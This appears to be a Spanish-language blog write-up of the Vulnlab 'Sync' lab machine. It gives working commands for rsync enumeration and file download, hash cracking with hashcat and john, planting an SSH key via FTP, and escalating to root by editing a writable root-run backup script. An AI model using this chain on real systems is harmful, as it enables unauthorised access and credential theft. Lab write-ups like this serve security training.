Sync – Writeup (Vulnlab)

vulnlab
=========================================

░██████╗██╗░░░██╗███╗░░██╗░█████╗░
██╔════╝╚██╗░██╔╝████╗░██║██╔══██╗
╚█████╗░░╚████╔╝░██╔██╗██║██║░░╚═╝
░╚═══██╗░░╚██╔╝░░██║╚████║██║░░██╗
██████╔╝░░░██║░░░██║░╚███║╚█████╔╝
╚═════╝░░░░╚═╝░░░╚═╝░░╚══╝░╚════╝░


# Easy - LINUX
# by shkz
# http://www.vulnlab.com

# IP -> 10.10.93.109

========================================
C


RCON: NMAP

Arrancamos haciendo un rápido reconocimiento de puertos y servicios con NMAP, dando el siguiente resultado:

PORT    STATE SERVICE VERSION

21/tcp  open  ftp     vsftpd 3.0.5
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
873/tcp open  rsync   (protocol version 31)
Bash


HTTP WEB => 80/TCP

Revisando el puerto 80 no logro inyectar ni obtener nada relevante. Siguiendo con los demas puertos en el 21 de FTP directamente no acepta Anonymous user asi que me enfoco en el puerto de
RSYNC el 873/tcp.



RSYNC => 873/TCP | ¿Que es el RSYNC?

RSync es una herramienta de sincronización versátil y ampliamente utilizada, especialmente en
sistemas Linux y Unix-like. Es popular debido a su flexibilidad y capacidad para sincronizar archivos a
través de redes. Viene pre-instalado en la mayoría de las distribuciones de Linux y su sintaxis es
similar a otras herramientas como ssh, scp y cp.



Podemos realizar algunas consultas desde la terminal para obtener algo de información al respecto:

nc 10.10.93.109 873 -vn
@RSYNCD: 31.0 <-------------- Le enviamos exactamente lo mismo que nos responde
Bash


No podemos hacer mucho ya que cierra la conexion, pero vamos a usar la aplicacion rsync para
enumerar y obtener info mas detallada:

rsync -av --list-only rsync://10.10.93.109/httpd/
Bash




Ahora que podemos ver con más detalle, suena interesante el output. Vamos a probar lo siguiente:

rsync -av rsync://10.10.93.109/httpd/www/index.php .
Bash


De este modo me lo bajo a la carpeta actual donde estoy localmente.



Dentro podemos resaltar algunas cosas interesantes en principio el hash $secure:



Si bajamos la base de datos en db/site.db:



Vemos los usuarios admin y triss con sus respectivos hashes.



HASHCAT

Tiempo de crackear, y vamos a hacerlo con la información que tenemos.

  • Tenemos el Hash de la base de datos
  • Tenemos el Hash de $secure
  • Tenemos los nombre de usuarios

Si intento crackear el user de admin no obtengo respuesta. Sin embargo si tenemos éxito con TRISS.
Lo primero es crear un archivo con todo el contenido y construirlo en el formato adecuado para
hashcat. Seria algo asi:

<HASH_DB>:<HASH_SECURE>|<user>|
Bash

Sabiendo esto, procedemos a crackearlo con Hashcat:

hashcat -m 20 hash.txt ~/w0rd/rockyou.txt
Bash



USER TRISS

Si probamos las credenciales via web. No conseguimos mucho más que un portal con un CPU
LOAD
.


Si probamos via SSH:


Sera entonces FTP:


Efectivamente logueamos. Y al entrar de primera no veremos nada interesante a menos que:

ls -alh
Bash

ftp> ls -alh

227 Entering Passive Mode (10,10,93,109,186,233).
150 Here comes the directory listing.

drwxr-x---
drwxr-x---
2 1003
2 10031003
10034096 Apr 21 2023 .
4096 Apr 21 2023 ..
lrwxrwxrwx 1 0
-rw-r--r-- 1 10030
10039 Apr 21 2023 .bash_history - /dev/null
220 Apr 19 2023 .bash_logout
-rw-r--r--
-rw-r--r--1003
10033771 Apr 19 2023 .bashrc
807 Apr 19 2023 .profile
1 1003
1 1003
226 Directory send OK.
Bash

Luego de un rato de no encontrar nada interesante, pienso que al ser una estructura similar a la de
un home-folder de linux, podría intentar crear un acceso vía SSH, para algo es que esta ese puerto
accesible y además el “permission denied” anterior me da indicios..



SSH Access

La idea es generar unas keys de SSH mediante el comando ssh-keygen, y luego subirla via FTP,
previamente, creo la carpeta .ssh/, finalmente, termino logueando, el comando para subir archivos
desde FTP es PUT:

mkdir .ssh
cd .ssh/
put authorized_keys
Bash


Funciona y logueo correctamente vía SSH. Enumerando y deambulando por el host, tenemos un
backup en el path: /backup. Procedemos a correr un python server y descargar todos los .zip.

triss@ip-10-10-200-238:/backup$ python3 -m http.server 8000
Bash

Desde nuestra maquina atacante hacemos:

wget -r http://10.10.93.109:8000/
Bash


Y finalmente descomprimimos todos los backup files:

unzip "*.zip"
Bash


Teniendo el archivo passwd y shadow podemos hacer lo siguiente para posteriormente crackearlo:

unshadow passwd shadow >crackme
Bash


Usando John para romper el shadow

Lo rompemos con el siguiente comando:

john --format=crypt crackme --wordlist=~/b0x/w0rd/rockyou.txt
Bash



Logueando como Jennifer (User.txt)


Sacamos user.txt y luego:

su sa
Bash

SA user hacia ROOT

Esta parte es muy sencilla.. subiendo el linpeas me dice que hay un archivo del cual podemos
modificar porque somos owners y esta ubicado en /usr/local/bin/backup.sh:


# backup.sh
#!/bin/bash
mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup
Bash

Podríamos generar una revshell, pero voy a hacerlo más fácil. Simplemente voy a catear la flag considerando que cuando esto se ejecute sera con privilegios elevados. Al final del archivo backup.sh le agrego lo siguiente:

cat /root/root.txt >/tmp/flag.txt
Bash

Y finalmente en un rato obtendremos la flag.txt en /tmp/flag.txt 😀

Pwned!

Share this :

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..